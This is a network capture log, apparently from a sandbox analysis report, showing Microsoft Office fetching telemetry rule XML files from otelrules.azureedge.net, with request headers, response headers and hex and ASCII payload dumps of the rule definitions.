2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-16849878b787bfsh7zgp804my4000000085000000000ap3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102805Z-16849878b78g2m84h2v9sta290000000087000000000dbcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102806Z-16849878b786fl7gm2qg4r5y7000000009ng00000000a74m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102806Z-16849878b78tg5n42kspfr0x4800000009c0000000008fs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f296e79a-801e-008c-04d4-297130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102806Z-17c5cb586f6p5pndayxh2uxv54000000014g000000000s9v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102806Z-16849878b78g2m84h2v9sta290000000086g00000000dknp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:07 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2909f93e-001e-0066-4539-2b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102807Z-15b8d89586fhl2qtatrz3vfkf00000000ftg000000003eqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:07 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102807Z-16849878b78qfbkc5yywmsbg0c00000008z000000000dg4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102807Z-16849878b78x44pv2mpb0dd37w00000001fg000000009pee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:07 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:07 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102807Z-16849878b786lft2mu9uftf3y40000000ah000000000dyty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:07 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 43d41d11-d01e-0028-575c-2b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102807Z-15b8d89586fnfb49yv03rfgz1c00000000zg00000000846w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:08 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bb89066a-001e-008d-7656-2ad91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102808Z-15b8d89586ffsjj9qb0gmb1stn0000000dn0000000005gnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

